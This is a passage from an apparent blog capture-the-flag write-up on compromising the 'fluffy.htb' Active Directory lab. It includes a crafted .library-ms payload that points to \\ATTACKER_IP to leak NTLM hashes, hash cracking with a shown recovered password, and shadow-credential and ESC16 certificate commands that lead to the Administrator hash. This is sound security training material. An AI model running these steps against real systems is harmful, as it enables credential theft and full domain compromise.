&lt;p>After reviewing the list, &lt;code>CVE-2025-24071&lt;/code> stood out. There was a public &lt;a href="https://github.com/0x6rss/CVE-2025-24071_PoC">poc&lt;/a> available. The poc and &lt;a href="https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/">other&lt;/a> &lt;a href="https://cti.monster/blog/2025/03/18/CVE-2025-24071.html">sources&lt;/a> pointed out involving RAR/ZIP files in order to leak NTLM hashes.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>CVE-2025-24054&lt;/strong> is a vulnerability related to &lt;strong>NTLM hash disclosure via spoofing&lt;/strong>, which can be exploited using a maliciously crafted &lt;code>.library-ms&lt;/code> file.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>When a specially crafted &lt;strong>.library-ms&lt;/strong> file containing an SMB path is compressed within a RAR/ZIP archive and subsequently extracted, Windows Explorer automatically parses the contents of this file due to its built-in indexing and preview mechanism. This behavior occurs because Windows Explorer processes certain file types automatically upon extraction to generate previews, thumbnails, or index metadata, even if the file is never explicitly opened or clicked by the user.&lt;/p>
&lt;/blockquote>
&lt;p>We saw zip files listed in the &lt;code>IT&lt;/code> share and we also have write access in that share. To exploit this we need craft a malicious &lt;code>.library-ms&lt;/code> file, add our smb server location inside it, create a zip file, and put it in the &lt;code>IT&lt;/code> share. If any of the users tries to extract the zip file, it will try to authenticate with out smb server and we will get access to their NTLM hash.&lt;/p>
&lt;h3 id="crafting-the-payload">Crafting the payload&lt;/h3>
&lt;p>This is an example &lt;code>.library-ms&lt;/code> file that we can use to trigger the exploit.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8ec07c">&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;libraryDescription&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">xmlns=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;http://schemas.microsoft.com/windows/2009/library&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;searchConnectorDescriptionList&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;searchConnectorDescription&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;simpleLocation&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;url&amp;gt;&lt;/span>\\ATTACKER_IP\shared&lt;span style="color:#fb4934">&amp;lt;/url&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/simpleLocation&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/searchConnectorDescription&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/searchConnectorDescriptionList&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/libraryDescription&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Create the zip file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>zip poc.zip poc.library-ms
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="collecting-ntlmv2-hash-of-pagila">Collecting NTLMv2 hash of &lt;code>p.agila&lt;/code>&lt;/h3>
&lt;p>Start an SMB server using &lt;code>responder&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>sudo responder -I tun0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Upload the zip file to the &lt;code>IT&lt;/code> share and after a few minutes someone will extract it and we can collect the NTLM hash:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526165513.webp">&lt;/figure>
&lt;h3 id="hash-cracking">Hash Cracking&lt;/h3>
&lt;p>Let&amp;rsquo;s try to crack this using &lt;code>hashcat&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>hashcat -m &lt;span style="color:#d3869b">5600&lt;/span> hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>hashcat &lt;span style="color:#fe8019">(&lt;/span>v7.1.2&lt;span style="color:#fe8019">)&lt;/span> starting
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">[&lt;/span>...&lt;span style="color:#fe8019">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Dictionary cache building /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt: &lt;span style="color:#d3869b">33553435&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Dictionary cache built:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* Passwords.: &lt;span style="color:#d3869b">14344391&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* Bytes.....: &lt;span style="color:#d3869b">139921497&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* Keyspace..: &lt;span style="color:#d3869b">14344384&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* Runtime...: &lt;span style="color:#d3869b">0&lt;/span> secs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>P.AGILA::FLUFFY:441627b66f8d87bb:e0d2b0884d16574c45383344b2b4875f:0101000000000000803bf4c82eeddc01315d4e64be718b0700000000020008005a004e0039004c0001001e00570049004e002d003800480043004600410052003000410039003200390004003400570049004e002d00380048004300460041005200300041003900320039002e005a004e0039004c002e004c004f00430041004c00030014005a004e0039004c002e004c004f00430041004c00050014005a004e0039004c002e004c004f00430041004c0007000800803bf4c82eeddc01060004000200000008003000300000000000000001000000002000009bdc9245f1cbfbd6f64641024585c7db740a017780c085bb72f51db09570ac770a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00330030000000000000000000:prometheusx-303
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Session..........: hashcat
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Status...........: Cracked
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hash.Mode........: &lt;span style="color:#d3869b">5600&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>NetNTLMv2&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hash.Target......: P.AGILA::FLUFFY:441627b66f8d87bb:e0d2b0884d16574c45...000000
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">[&lt;/span>...&lt;span style="color:#fe8019">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526170227.webp">&lt;/figure>
&lt;h3 id="verification">Verification&lt;/h3>
&lt;p>The credentials is working fine.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526171437.webp">&lt;/figure>
&lt;p>We still don&amp;rsquo;t have winrm access:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526173353.webp">&lt;/figure>
&lt;hr>
&lt;h2 id="lateral-movement-to-user">Lateral Movement to user&lt;/h2>
&lt;h3 id="enumeration-1">Enumeration&lt;/h3>
&lt;p>From bloodhound we get to know that user &lt;code>p.agila&lt;/code> is a member of &lt;code>Service Account Managers&lt;/code> which have &lt;code>GenericAll&lt;/code> permission on &lt;code>Service Accounts&lt;/code> which then have &lt;code>GenericWrite&lt;/code> on user &lt;code>winrm_svc&lt;/code>.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526174721.webp">&lt;/figure>
&lt;p>&lt;code>winrm_svc&lt;/code> is a member of &lt;code>Remote Management Users&lt;/code>, which means they have winrm access.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526175007.webp">&lt;/figure>
&lt;h3 id="adding-pagila-to-service-accounts">Adding &lt;code>p.agila&lt;/code> to &lt;code>Service Accounts&lt;/code>&lt;/h3>
&lt;p>First we need to add user &lt;code>p.agila&lt;/code> to the &lt;code>Service Accounts&lt;/code> group. We can use &lt;a href="https://github.com/CravateRouge/bloodyAD">&lt;code>bloodyAD&lt;/code>&lt;/a> for this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>bloodyad -d fluffy.htb --host dc01.fluffy.htb -u p.agila -p prometheusx-303 add groupMember &lt;span style="color:#b8bb26">&amp;#39;Service Accounts&amp;#39;&lt;/span> p.agila
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526180720.webp">&lt;/figure>
&lt;h3 id="exploiting-genericwrite">Exploiting &lt;code>GenericWrite&lt;/code>&lt;/h3>
&lt;p>Now &lt;code>p.agila&lt;/code> have &lt;code>GenericWrite&lt;/code> on users &lt;code>winrm_svc&lt;/code>, &lt;code>ldap_svc&lt;/code>, and &lt;code>ca_svc&lt;/code>.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527095554.webp">&lt;/figure>
&lt;p>From these &lt;code>winrm_svc&lt;/code> can be used to get winrm access. &lt;code>ca_svc&lt;/code> user also looks interesting as it&amp;rsquo;s part of the &lt;a href="https://decoder.cloud/2023/11/20/a-deep-dive-in-cert-publishers-group/">&lt;code>Cert Publishers&lt;/code> group&lt;/a> which could potentially lead to an exploitable path. So we should also keep an eye on that user as well.&lt;/p>
&lt;p>The &lt;code>GenericWrite&lt;/code> ACE can be abused using techniques like shadow credentials or targeted kerberoasting. We&amp;rsquo;ll explore both.&lt;/p>
&lt;h4 id="targeted-kerberoasting-of-winrm_svc">Targeted Kerberoasting of &lt;code>winrm_svc&lt;/code>&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>faketime -f &lt;span style="color:#b8bb26">&amp;#39;+7h&amp;#39;&lt;/span> nxc ldap dc01.fluffy.htb -d fluffy.htb -u p.agila -p prometheusx-303 --kerberoasting kerberos.txt --kerberoast-account winrm_svc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527104043.webp">&lt;/figure>
&lt;p>Let&amp;rsquo;s try to crack this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>john --format&lt;span style="color:#fe8019">=&lt;/span>krb5tgs --wordlist&lt;span style="color:#fe8019">=&lt;/span>/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt kerberos.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527104944.webp">&lt;/figure>
&lt;p>But unfortunately the wordlist got exhausted and we couldn&amp;rsquo;t find any valid passwords.&lt;/p>
&lt;h4 id="shadow-credentials-attack">Shadow Credentials Attack&lt;/h4>
&lt;p>On PKINIT based authentication instead of using key derived from the password of the user, public-private key pairs are utilised. On client authentication request, the KDC verifies the request signed using the private key of the user using the public key present in the &lt;code>msDS-KeyCredentialLink&lt;/code> attribute of that user. If valid public key is found, the KDC uses that to verify the signature and grants TGT. When an object have permissions like &lt;code>GenericWrite&lt;/code> on other users, like in our case, we can inject our own public key to the &lt;code>msDS-KeyCredentialLink&lt;/code> attribute leading to impersonation of the user. You can read more in depth about this attack from &lt;a href="https://www.hackingarticles.in/shadow-credentials-attack/">here&lt;/a>.&lt;/p>
&lt;p>In our case we can obtain NT hash of &lt;code>winrm_svc&lt;/code> using this attack:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>faketime -f &lt;span style="color:#b8bb26">&amp;#39;+7h&amp;#39;&lt;/span> certipy shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527120836.webp">&lt;/figure>
&lt;p>Let&amp;rsquo;s retrieve hash of &lt;code>ca_svc&lt;/code> as well&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>faketime -f &lt;span style="color:#b8bb26">&amp;#39;+7h&amp;#39;&lt;/span> certipy shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account ca_svc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527121712.webp">&lt;/figure>
&lt;p>Save the hash for later.&lt;/p>
&lt;h3 id="winrm-as-winrm_svc">WinRM as &lt;code>winrm_svc&lt;/code>&lt;/h3>
&lt;p>First let&amp;rsquo;s try to use &lt;code>evil-winrm&lt;/code> using the hash of &lt;code>winrm_svc&lt;/code>:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527121943.webp">&lt;/figure>
&lt;p>Now we can read the user.txt&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527125349.webp">&lt;/figure>
&lt;hr>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;h3 id="adcs-enumeration">ADCS Enumeration&lt;/h3>
&lt;p>From bloodhound we can see that &lt;code>ca_svc&lt;/code> is a member of &lt;code>Cert Publishers&lt;/code> group and have enrollment rights to the CA &lt;code>fluffy-dc01-ca&lt;/code>.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527125600.webp">&lt;/figure>
&lt;p>We can check for vulnerable templates or vulnerabilities in this CA using &lt;code>certipy&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>certipy find -u ca_svc@fluffy.htb -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -vulnerable -stdout
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>Certificate Authorities
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d3869b">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> CA Name : fluffy-DC01-CA
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DNS Name : DC01.fluffy.htb
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Certificate Subject : CN&lt;span style="color:#fe8019">=&lt;/span>fluffy-DC01-CA, DC&lt;span style="color:#fe8019">=&lt;/span>fluffy, DC&lt;span style="color:#fe8019">=&lt;/span>htb
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Certificate Serial Number : 3150FA7E60CE28AD4DAE41A1B61D8874
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Certificate Validity Start : 2025-04-17 16:00:16+00:00
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Certificate Validity End : 3024-04-17 16:12:16+00:00
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Web Enrollment
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> HTTP
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Enabled : False
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> HTTPS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Enabled : False
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> User Specified SAN : Disabled
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Request Disposition : Issue
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Enforce Encryption &lt;span style="color:#fe8019">for&lt;/span> Requests : Enabled
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Active Policy : CertificateAuthority_MicrosoftDefault.Policy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Disabled Extensions : 1.3.6.1.4.1.311.25.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Permissions
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Owner : FLUFFY.HTB&lt;span style="color:#b8bb26">\A&lt;/span>dministrators
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Access Rights
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ManageCa : FLUFFY.HTB&lt;span style="color:#b8bb26">\D&lt;/span>omain Admins
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> FLUFFY.HTB&lt;span style="color:#b8bb26">\E&lt;/span>nterprise Admins
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> FLUFFY.HTB&lt;span style="color:#b8bb26">\A&lt;/span>dministrators
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ManageCertificates : FLUFFY.HTB&lt;span style="color:#b8bb26">\D&lt;/span>omain Admins
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> FLUFFY.HTB&lt;span style="color:#b8bb26">\E&lt;/span>nterprise Admins
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> FLUFFY.HTB&lt;span style="color:#b8bb26">\A&lt;/span>dministrators
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Enroll : FLUFFY.HTB&lt;span style="color:#b8bb26">\C&lt;/span>ert Publishers
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> FLUFFY.HTB&lt;span style="color:#b8bb26">\A&lt;/span>dministrators
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Read : FLUFFY.HTB&lt;span style="color:#b8bb26">\A&lt;/span>dministrators
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[&lt;/span>!&lt;span style="color:#fe8019">]&lt;/span> Vulnerabilities
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ESC16 : Security Extension is disabled.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[&lt;/span>*&lt;span style="color:#fe8019">]&lt;/span> Remarks
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ESC16 : Other prerequisites may be required &lt;span style="color:#fe8019">for&lt;/span> this to be exploitable. See the wiki &lt;span style="color:#fe8019">for&lt;/span> more details.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Certificate Templates : &lt;span style="color:#fe8019">[&lt;/span>!&lt;span style="color:#fe8019">]&lt;/span> Could not find any certificate templates
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527130352.webp">&lt;/figure>
&lt;p>The CA is vulnerable to &lt;a href="">ESC16&lt;/a>&lt;/p>
&lt;h2 id="privilege-escalation---esc16">Privilege Escalation - ESC16&lt;/h2>
&lt;p>As mentioned in the certipy wiki, a CA is vulnerable to ESC16 if &lt;code>szOID_NTDS_CA_SECURITY_EXT&lt;/code> extension identified by &lt;code>1.3.6.1.4.1.311.25.2&lt;/code> is disabled for it. When this security extension is disabled and if the DC is not operating in full enforcement (the value of registry key &lt;code>StrongCertificateBindingEnforcement = 1&lt;/code> or &lt;code>0&lt;/code>) they will fall back on weaker certificate mapping methods based on UPN or DNS. So if we can update the UPN of the user with the &lt;code>sAMAccountName&lt;/code> of a target user, we can impersonate them.&lt;/p>
&lt;p>All the user&amp;rsquo;s in the &lt;code>Service Accounts&lt;/code> group have &lt;code>GenericWrite&lt;/code> on each other:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527151925.webp">&lt;/figure>
&lt;p>We can use the credential of &lt;code>winrm_svc&lt;/code> to update the UPN of &lt;code>ca_svc&lt;/code> to &lt;code>administrator&lt;/code>, request a certificate and get the hash for &lt;code>administrator&lt;/code>.&lt;/p>
&lt;h3 id="update-the-upn">Update the UPN&lt;/h3>
&lt;p>Right now the UPN of &lt;code>ca_svc&lt;/code> shows:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>certipy account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc &lt;span style="color:#fabd2f">read&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527152524.webp">&lt;/figure>
&lt;p>We have to update this to &lt;code>administrator&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>certipy account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc update -upn administrator
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527152646.webp">&lt;/figure>
&lt;h3 id="request-certificate">Request certificate&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>certipy req -u ca_svc@fluffy.htb -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip $IP -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527155214.webp">&lt;/figure>
&lt;p>Now revert the UPN to the original one:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>certipy account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc update -upn ca_svc@fluffy.htb
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527155745.webp">&lt;/figure>
&lt;h3 id="get-hash-of-administrator">Get hash of Administrator&lt;/h3>
&lt;p>Now we have to use the certificate to send an auth request and retrieve the hash of &lt;code>administrator&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>faketime -f &lt;span style="color:#b8bb26">&amp;#39;+7h&amp;#39;&lt;/span> certipy auth -pfx administrator.pfx -username Administrator -domain fluffy.htb -dc-ip $IP
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527155602.webp">&lt;/figure>
&lt;p>Got it! Let&amp;rsquo;s try to get shell access using the hash:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>evil-wirm -i dc01.fluffy.htb -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527165000.webp">&lt;/figure>
&lt;p>And Here&amp;rsquo;s the flag:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260527165051.webp">&lt;/figure>
&lt;hr>
&lt;h3 id="references">References&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/">https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://cti.monster/blog/2025/03/18/CVE-2025-24071.html">https://cti.monster/blog/2025/03/18/CVE-2025-24071.html&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/0x6rss/CVE-2025-24071_PoC">https://github.com/0x6rss/CVE-2025-24071_PoC&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://decoder.cloud/2023/11/20/a-deep-dive-in-cert-publishers-group/">https://decoder.cloud/2023/11/20/a-deep-dive-in-cert-publishers-group/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.hackingarticles.in/shadow-credentials-attack/">https://www.hackingarticles.in/shadow-credentials-attack/&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.hackingarticles.in/adcs-esc16-security-extension-disabled-on-ca-globally/">https://www.hackingarticles.in/adcs-esc16-security-extension-disabled-on-ca-globally/&lt;/a>&lt;/li>
&lt;/ul></content></item></channel></rss>